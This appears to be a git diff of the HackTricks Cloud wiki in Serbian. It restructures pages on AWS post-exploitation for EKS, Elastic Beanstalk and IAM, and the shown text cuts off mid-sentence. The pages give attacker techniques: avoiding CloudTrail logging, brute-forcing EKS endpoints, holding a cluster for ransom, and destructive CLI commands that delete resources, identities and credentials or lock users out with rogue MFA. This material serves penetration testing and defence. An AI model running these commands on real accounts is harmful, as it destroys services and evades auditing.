+{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### Enumerate the cluster from the AWS Console + +Ako imate dozvolu **`eks:AccessKubernetesApi`** možete **pregledati Kubernetes objekte** putem AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). + +### Connect to AWS Kubernetes Cluster + +- Jednostavan način: +```bash +# Generate kubeconfig +aws eks update-kubeconfig --name aws-eks-dev +``` +- Ne baš tako lak način: + +Ako možete **dobijete token** pomoću **`aws eks get-token --name `** ali nemate dozvole da dobijete informacije o clusteru (describeCluster), možete **pripremiti svoj `~/.kube/config`**. Međutim, iako imate token, i dalje vam je potreban **url endpoint za povezivanje** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) i **ime clustera**. + +U mom slučaju, nisam pronašao info u CloudWatch logs, ali sam ih **pronašao u LaunchTemaplates userData** i **takođe u EC2 mašinama u userData**. Ove informacije možete lako videti u **userData**, na primer u sledećem primeru (the cluster name was cluster-name): +```bash +API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com + +/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false +``` +
+ +kube config +```yaml +describe-cache-parametersapiVersion: v1 +clusters: +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ +contexts: +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ +current-context: arn:aws:eks:us-east-1::cluster/ +kind: Config +preferences: {} +users: +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false +``` +
+ +### Iz AWS-a ka Kubernetesu + +The **tvorac** of the **EKS cluster** je **UVEK** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). U vreme pisanja ne postoji **direktan način** da se sazna **ko je kreirao** klaster (možete proveriti CloudTrail). I ne postoji **način** da se **ukloni** taj **privilegij**. + +Način da se dodeli **pristup K8s** većem broju **AWS IAM users or roles** je korišćenjem **configmap** **`aws-auth`**. + +> [!WARNING] +> Dakle, svako ko ima **write access** nad config mapom **`aws-auth`** moći će da **kompromituje ceo klaster**. + +Za više informacija o tome kako da **dodelite dodatne privilegije IAM roles & users** u **istom ili drugom account-u** i kako to **zlorabiti** pogledajte [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). + +Takođe pogledajte[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post da biste naučili kako funkcioniše autentifikacija IAM -> Kubernetes**. + +### Iz Kubernetes-a ka AWS + +Moguće je omogućiti **OpenID authentication for kubernetes service account** kako bi oni mogli da assume roles u AWS-u. Saznajte kako [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). + +### GET Api Server Endpoint from a JWT Token + +Dekodiranjem JWT tokena dobijemo cluster id i takođe region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Znajući da je standardni format za EKS url je +```bash +https://...eks.amazonaws.com +``` +Nisam našao nijednu dokumentaciju koja objašnjava kriterijume za 'dva znaka' i 'broj'. Ali prilikom testiranja primetio sam da se ponavljaju ovi primeri: + +- gr7 +- yl4 + +U svakom slučaju, to su samo 3 znaka pa ih možemo bruteforce-ovati. Iskoristi skript ispod za generisanje liste +```python +from itertools import product +from string import ascii_lowercase + +letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) +number_combinations = product('0123456789', repeat = 1) + +result = [ +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) +] + +with open('out.txt', 'w') as f: +f.write('\n'.join(result)) +``` +Zatim sa wfuzz +```bash +wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com +``` +> [!WARNING] +> Zapamti da zameniš & . + +### Zaobilaženje CloudTrail + +Ako attacker dobije kredencijale za AWS sa **permission over an EKS**. Ako attacker konfiguriše svoj **`kubeconfig`** (bez poziva **`update-kubeconfig`**) kao što je objašnjeno ranije, **`get-token`** ne generiše logove u Cloudtrail jer ne komunicira sa AWS API-jem (samo kreira token lokalno). + +Dakle, kada attacker komunicira sa EKS cluster-om, **cloudtrail neće zabeležiti ništa vezano za ukradenog korisnika i njegov pristup**. + +Imajte na umu da **EKS cluster može imati uključene logove** koji će zabeležiti ovaj pristup (iako su, po podrazumevanim, isključeni). + +### EKS Ransom? + +Po podrazumevanju **user or role that created** klaster će **ALWAYS going to have admin privileges** nad klasterom. I to je jedini "siguran" pristup koji će AWS imati nad Kubernetes klasterom. + +Dakle, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**. + +> [!TIP] +> Imajte na umu da ako je klaster koristio **EC2 VMs**, moglo bi biti moguće dobiti Admin privileges sa **Node** i oporaviti klaster. +> +> Zapravo, ako klaster koristi Fargate možete dodati EC2 node-ove ili preseliti sve na EC2 u okviru klastera i oporaviti ga pristupajući tokenima na node-u. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md deleted file mode 100644 index 8117000c7..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ /dev/null @@ -1,70 +0,0 @@ -# AWS - Elastic Beanstalk Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Za više informacija: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### `elasticbeanstalk:DeleteApplicationVersion` - -> [!NOTE] -> TODO: Testirati da li su potrebne dodatne dozvole za ovo - -Napadač sa dozvolom `elasticbeanstalk:DeleteApplicationVersion` može **izbrisati postojeću verziju aplikacije**. Ova akcija može ometati procese implementacije aplikacija ili uzrokovati gubitak specifičnih verzija aplikacija ako nisu sačuvane. -```bash -aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version -``` -**Potencijalni uticaj**: Poremećaj u implementaciji aplikacija i potencijalni gubitak verzija aplikacija. - -### `elasticbeanstalk:TerminateEnvironment` - -> [!NAPOMENA] -> TODO: Testirati da li su potrebne dodatne dozvole za ovo - -Napadač sa dozvolom `elasticbeanstalk:TerminateEnvironment` može **ukinuti postojeće Elastic Beanstalk okruženje**, uzrokujući prekid rada aplikacije i potencijalni gubitak podataka ako okruženje nije konfigurisano za rezervne kopije. -```bash -aws elasticbeanstalk terminate-environment --environment-name my-existing-env -``` -**Potencijalni Uticaj**: Vreme neaktivnosti aplikacije, potencijalni gubitak podataka i prekid usluga. - -### `elasticbeanstalk:DeleteApplication` - -> [!NAPOMENA] -> TODO: Testirati da li su potrebne dodatne dozvole za ovo - -Napadač sa dozvolom `elasticbeanstalk:DeleteApplication` može **izbrisati celu Elastic Beanstalk aplikaciju**, uključujući sve njene verzije i okruženja. Ova akcija može izazvati značajan gubitak resursa i konfiguracija aplikacije ako nisu sačuvani. -```bash -aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force -``` -**Potencijalni Uticaj**: Gubitak resursa aplikacije, konfiguracija, okruženja i verzija aplikacije, što može dovesti do prekida usluge i potencijalnog gubitka podataka. - -### `elasticbeanstalk:SwapEnvironmentCNAMEs` - -> [!NAPOMENA] -> TODO: Testirati da li su potrebne dodatne dozvole za ovo - -Napadač sa `elasticbeanstalk:SwapEnvironmentCNAMEs` dozvolom može **promeniti CNAME zapise dva Elastic Beanstalk okruženja**, što može uzrokovati da pogrešna verzija aplikacije bude dostupna korisnicima ili dovesti do nepredviđenog ponašanja. -```bash -aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 -``` -**Potencijalni Uticaj**: Posluživanje pogrešne verzije aplikacije korisnicima ili izazivanje nepredviđenog ponašanja u aplikaciji zbog zamenjenih okruženja. - -### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` - -> [!NAPOMENA] -> TODO: Testirati da li su potrebne dodatne dozvole za ovo - -Napadač sa `elasticbeanstalk:AddTags` i `elasticbeanstalk:RemoveTags` dozvolama može **dodavati ili uklanjati oznake na Elastic Beanstalk resursima**. Ova akcija može dovesti do pogrešne alokacije resursa, naplate ili upravljanja resursima. -```bash -aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 - -aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag -``` -**Potencijalni uticaj**: Neispravna alokacija resursa, naplata ili upravljanje resursima zbog dodatih ili uklonjenih oznaka. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md new file mode 100644 index 000000000..b7d6bb792 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md @@ -0,0 +1,70 @@ +# AWS - Elastic Beanstalk Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +Za više informacija: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### `elasticbeanstalk:DeleteApplicationVersion` + +> [!NOTE] +> TODO: Testirati da li su za ovo potrebna dodatna dozvola + +Napadač koji ima dozvolu `elasticbeanstalk:DeleteApplicationVersion` može **izbrisati postojeću verziju aplikacije**. Ova radnja može poremetiti deployment pipeline-ove ili dovesti do gubitka određenih verzija aplikacije ako nisu sačuvane backup-om. +```bash +aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version +``` +**Potential Impact**: Poremećaj deployment-a aplikacije i potencijalni gubitak verzija aplikacije. + +### `elasticbeanstalk:TerminateEnvironment` + +> [!NOTE] +> TODO: Testirati da li su za ovo potrebne dodatne dozvole + +Napadač sa dozvolom `elasticbeanstalk:TerminateEnvironment` može **terminate an existing Elastic Beanstalk environment**, što može izazvati prekid rada aplikacije i potencijalni gubitak podataka ako okruženje nije konfigurisano za rezervne kopije. +```bash +aws elasticbeanstalk terminate-environment --environment-name my-existing-env +``` +**Potencijalni uticaj**: Zastoj aplikacije, moguć gubitak podataka i prekid usluga. + +### `elasticbeanstalk:DeleteApplication` + +> [!NOTE] +> TODO: Proveriti da li su potrebne dodatne dozvole za ovo + +Napadač koji ima dozvolu `elasticbeanstalk:DeleteApplication` može **izbrisati celu Elastic Beanstalk aplikaciju**, uključujući sve njene verzije i okruženja. Ova akcija može prouzrokovati značajan gubitak resursa i konfiguracija aplikacije ako nisu prethodno rezervno sačuvane. +```bash +aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force +``` +**Mogući uticaj**: Gubitak resursa aplikacije, konfiguracija, okruženja i verzija aplikacije, što može dovesti do prekida usluge i mogućeg gubitka podataka. + +### `elasticbeanstalk:SwapEnvironmentCNAMEs` + +> [!NOTE] +> TODO: Testirati da li su za ovo potrebna dodatna dopuštenja + +Napadač sa dozvolom `elasticbeanstalk:SwapEnvironmentCNAMEs` može **zameniti CNAME zapise dva Elastic Beanstalk okruženja**, što može prouzrokovati da korisnicima bude poslužena pogrešna verzija aplikacije ili dovesti do neželjenog ponašanja. +```bash +aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 +``` +**Potencijalni uticaj**: Posluživanje pogrešne verzije aplikacije korisnicima ili izazivanje neželjenog ponašanja aplikacije usled zamenjenih okruženja. + +### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` + +> [!NOTE] +> TODO: Testirati da li su za ovo potrebna dodatna dopuštenja + +Napadač sa `elasticbeanstalk:AddTags` i `elasticbeanstalk:RemoveTags` dozvolama može **dodavati ili uklanjati tagove na Elastic Beanstalk resursima**. Ova radnja može dovesti do pogrešne raspodele resursa, netačne naplate ili problema u upravljanju resursima. +```bash +aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 + +aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag +``` +**Mogući uticaj**: Neispravna alokacija resursa, naplata ili upravljanje resursima zbog dodatih ili uklonjenih tagova. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md deleted file mode 100644 index 5a5a4c31d..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ /dev/null @@ -1,166 +0,0 @@ -# AWS - IAM Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -Za više informacija o IAM pristupu: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -## Confused Deputy Problem - -Ako dozvolite jednom **spoljašnjem nalogu (A)** da pristupi nekoj **role** u vašem nalogu, verovatno ćete imati **0 vidljivost** na to **ko tačno može da pristupi tom spoljašnjem nalogu**. To je problem, jer ako drugi spoljašnji nalog (B) može da pristupi spoljašnjem nalogu (A), moguće je da će **B takođe moći da pristupi vašem nalogu**. - -
- -Zato, kada dozvoljavate spoljašnjem nalogu da pristupi **role** u vašem nalogu, moguće je navesti `ExternalId`. Ovo je "tajni" string koji spoljašnji nalog (A) **mora da navede** da bi **assume the role in your organization**. Pošto **spoljašnji nalog B neće znati ovaj string**, čak i ako ima pristup nalogu A on **neće moći da pristupi vašoj role**. - -Ipak, imajte na umu da ovaj `ExternalId` "tajni" **nije tajna** — svako ko može **pročitati IAM assume role policy** moći će da ga vidi. Ali dok god spoljašnji nalog A zna taj string, a spoljašnji nalog **B ga ne zna**, to **sprečava B da zloupotrebi A da pristupi vašoj role**. - -Primer: -```json -{ -"Version": "2012-10-17", -"Statement": { -"Effect": "Allow", -"Principal": { -"AWS": "Example Corp's AWS Account ID" -}, -"Action": "sts:AssumeRole", -"Condition": { -"StringEquals": { -"sts:ExternalId": "12345" -} -} -} -} -``` -> [!WARNING] -> Da bi napadač iskoristio confused deputy, moraće na neki način да откриje да ли principals тренутног налога могу да impersonate roles у другим налогима. - -### Neočekivana poverења - -#### Wildcard kao principal -```json -{ -"Action": "sts:AssumeRole", -"Effect": "Allow", -"Principal": { "AWS": "*" } -} -``` -Ova politika **dozvoljava svima iz AWS** da preuzmu ulogu. - -#### Servis kao principal -```json -{ -"Action": "lambda:InvokeFunction", -"Effect": "Allow", -"Principal": { "Service": "apigateway.amazonaws.com" }, -"Resource": "arn:aws:lambda:000000000000:function:foo" -} -``` -Ova politika **dozvoljava bilo kojem nalogu** da konfiguriše svoj apigateway da pozove ovu Lambda. - -#### S3 kao principal -```json -"Condition": { -"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, -"StringEquals": { -"aws:SourceAccount": "123456789012" -} -} -``` -Ako je S3 bucket naveden kao principal, pošto S3 buckets nemaju Account ID, ako ste **obrisali svoj bucket i attacker ga je kreirao** u svom nalogu, mogli bi to zloupotrebiti. - -#### Nije podržano -```json -{ -"Effect": "Allow", -"Principal": { "Service": "cloudtrail.amazonaws.com" }, -"Action": "s3:PutObject", -"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" -} -``` -Uobičajen način da se izbegnu problemi Confused Deputy je upotreba uslova sa `AWS:SourceArn` za proveru ARN izvora. Međutim, **neke usluge možda to ne podržavaju** (na primer CloudTrail prema nekim izvorima). - -### Brisanje kredencijala -Sa bilo kojom od sledećih dozvola — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — subjekat može ukloniti pristupne ključeve, profile za prijavu, SSH ključeve, kredencijale specifične za servis, instance profile, sertifikate ili CloudFront javne ključeve, ili odvojiti role od instance profila. Takve akcije mogu odmah blokirati legitimne korisnike i aplikacije i izazvati denial-of-service ili gubitak pristupa za sisteme koji zavise od tih kredencijala, zato ove IAM dozvole moraju biti strogo ograničene i nadzirane. -```bash -# Remove Access Key of a user -aws iam delete-access-key \ ---user-name \ ---access-key-id AKIAIOSFODNN7EXAMPLE - -## Remove ssh key of a user -aws iam delete-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE -``` -### Brisanje identiteta -Sa dozvolama kao što su `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ili `iam:RemoveUserFromGroup`, akter može obrisati korisnike, role ili grupe—ili promeniti članstvo u grupi—uklanjajući identitete i povezane tragove. Ovo može odmah prekinuti pristup za ljude i servise koji zavise od tih identiteta, izazivajući denial-of-service ili gubitak pristupa, zato ove IAM akcije moraju biti strogo ograničene i nadgledane. -```bash -# Delete a user -aws iam delete-user \ ---user-name - -# Delete a group -aws iam delete-group \ ---group-name - -# Delete a role -aws iam delete-role \ ---role-name -``` -### -Sa bilo kojom od sledećih dozvola — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — akter može izbrisati ili odvojiti managed/inline policies, ukloniti verzije politika ili permissions boundaries, i odvezati politike od korisnika, grupa ili uloga. Ovo uništava autorizacije i može izmeniti model dozvola, prouzrokujući trenutni gubitak pristupa ili denial-of-service za subjekte koji su zavisili od tih politika, zato ove IAM akcije moraju biti strogo ograničene i nadgledane. -```bash -# Delete a group policy -aws iam delete-group-policy \ ---group-name \ ---policy-name - -# Delete a role policy -aws iam delete-role-policy \ ---role-name \ ---policy-name -``` -### Brisanje federisanih identiteta -Sa `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` i `iam:RemoveClientIDFromOpenIDConnectProvider`, napadač može da obriše OIDC/SAML provajdere identiteta ili ukloni client ID-e. Ovo prekida federisanu autentifikaciju, onemogućava validaciju tokena i odmah uskraćuje pristup korisnicima i servisima koji se oslanjaju na SSO dok se IdP ili konfiguracije ne obnove. -```bash -# Delete OIDCP provider -aws iam delete-open-id-connect-provider \ ---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com - -# Delete SAML provider -aws iam delete-saml-provider \ ---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS -``` -### Neovlašćena aktivacija MFA -Pomoću `iam:EnableMFADevice`, napadač može registrovati MFA uređaj na identitet korisnika, sprečavajući legitimnog korisnika da se prijavi. Kada je neovlašćeni MFA omogućen, korisnik može ostati zaključan dok uređaj ne bude uklonjen ili resetovan (napomena: ako je registrovano više MFA uređaja, za prijavu je dovoljan samo jedan, pa ovaj napad neće onemogućiti pristup). -```bash -aws iam enable-mfa-device \ ---user-name \ ---serial-number arn:aws:iam::111122223333:mfa/alice \ ---authentication-code1 123456 \ ---authentication-code2 789012 -``` -### Manipulacija metapodacima sertifikata/ključeva -Sa `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, napadač može promeniti status ili metapodatke javnih ključeva i sertifikata. Označavanjem ključeva/sertifikata kao neaktivnih ili izmenom referenci, mogu onemogućiti SSH autentifikaciju, poništiti X.509/TLS validacije i odmah poremetiti servise koji zavise od tih kredencijala, što dovodi do gubitka pristupa ili dostupnosti. -```bash -aws iam update-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE \ ---status Inactive - -aws iam update-server-certificate \ ---server-certificate-name \ ---new-path /prod/ -``` -## Reference - -- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md new file mode 100644 index 000000000..2e0458d96 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -0,0 +1,166 @@ +# AWS - IAM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +Za više informacija o pristupu IAM-u: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +## Problem "Confused Deputy" + +Ako dozvolite spoljnom nalogu (A) da pristupi određenoj ulozi u vašem nalogu, verovatno nećete imati nikakvu vidljivost ko tačno može pristupiti tom spoljnjem nalogu. To je problem, jer ako drugi spoljnji nalog (B) može pristupiti spoljnom nalogu (A), moguće je da će i B moći da pristupi vašem nalogu. + +Stoga, kada dozvoljavate spoljnom nalogu pristup ulozi u vašem nalogu, moguće je specificirati `ExternalId`. To je "tajni" string koji spoljni nalog (A) mora da navede da bi preuzeo ulogu u vašoj organizaciji. Pošto spoljni nalog B neće znati ovaj string, čak i ako ima pristup A, neće moći da pristupi vašoj ulozi. + +
+ +Međutim, imajte na umu da ovaj `ExternalId` "tajni" zapravo **nije tajna** — svako ko može da pročita IAM assume role policy moći će da ga vidi. Ali sve dok spoljni nalog A zna ovaj string, a spoljni nalog B ne zna, to sprečava da B zloupotrebi A da bi pristupio vašoj ulozi. + +Primer: +```json +{ +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} +} +``` +> [!WARNING] +> Da bi napadač iskoristio confused deputy, mora nekako da otkrije da li principals trenutnog naloga mogu da impersonate roles u drugim nalozima. + +### Neočekivana poverenja + +#### Wildcard kao principal +```json +{ +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } +} +``` +Ova politika **dozvoljava svim AWS** da preuzmu ulogu. + +#### Servis kao principal +```json +{ +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" +} +``` +Ova politika **dozvoljava bilo kojem nalogu** da konfiguriše svoj apigateway da pozove ovu Lambda funkciju. + +#### S3 kao entitet +```json +"Condition": { +"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, +"StringEquals": { +"aws:SourceAccount": "123456789012" +} +} +``` +Ako je S3 bucket naveden kao principal, pošto S3 buckets nemaju Account ID, ako ste vi **obrisali svoj bucket i attacker ga je kreirao** u svom nalogu, attacker bi to mogao zloupotrebiti. + +#### Nije podržano +```json +{ +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +} +``` +Uobičajen način da se izbegnu problemi Confused Deputy je korišćenje uslova sa `AWS:SourceArn` da bi se proverio ARN porekla. Međutim, **neke usluge možda to ne podržavaju** (npr. CloudTrail prema nekim izvorima). + +### Brisanje kredencijala +Sa bilo kojom od sledećih dozvola — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — napadač može ukloniti pristupne ključeve, profile za prijavu, SSH ključeve, servisno-specifične kredencijale, instance profile, sertifikate ili CloudFront javne ključeve, ili razdružiti role iz instance profila. Takve akcije mogu odmah blokirati legitimne korisnike i aplikacije i izazvati denial-of-service ili gubitak pristupa za sisteme koji zavise od tih kredencijala, pa ove IAM dozvole moraju biti strogo ograničene i nadgledane. +```bash +# Remove Access Key of a user +aws iam delete-access-key \ +--user-name \ +--access-key-id AKIAIOSFODNN7EXAMPLE + +## Remove ssh key of a user +aws iam delete-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE +``` +### Brisanje identiteta +Sa dozvolama kao što su `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ili `iam:RemoveUserFromGroup`, entitet može da obriše korisnike, uloge ili grupe — ili da promeni članstvo u grupi — uklanjajući identitete i povezane tragove. Ovo može odmah prekinuti pristup za osobe i servise koji zavise od tih identiteta, uzrokujući denial-of-service ili gubitak pristupa, zato ove IAM akcije moraju biti strogo ograničene i nadzirane. +```bash +# Delete a user +aws iam delete-user \ +--user-name + +# Delete a group +aws iam delete-group \ +--group-name + +# Delete a role +aws iam delete-role \ +--role-name +``` +### +Sa bilo kojom od sledećih dozvola — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — akter može da izbriše ili odvoji managed/inline policies, ukloni policy versions ili permissions boundaries, i odvoji politike od korisnika, grupa ili 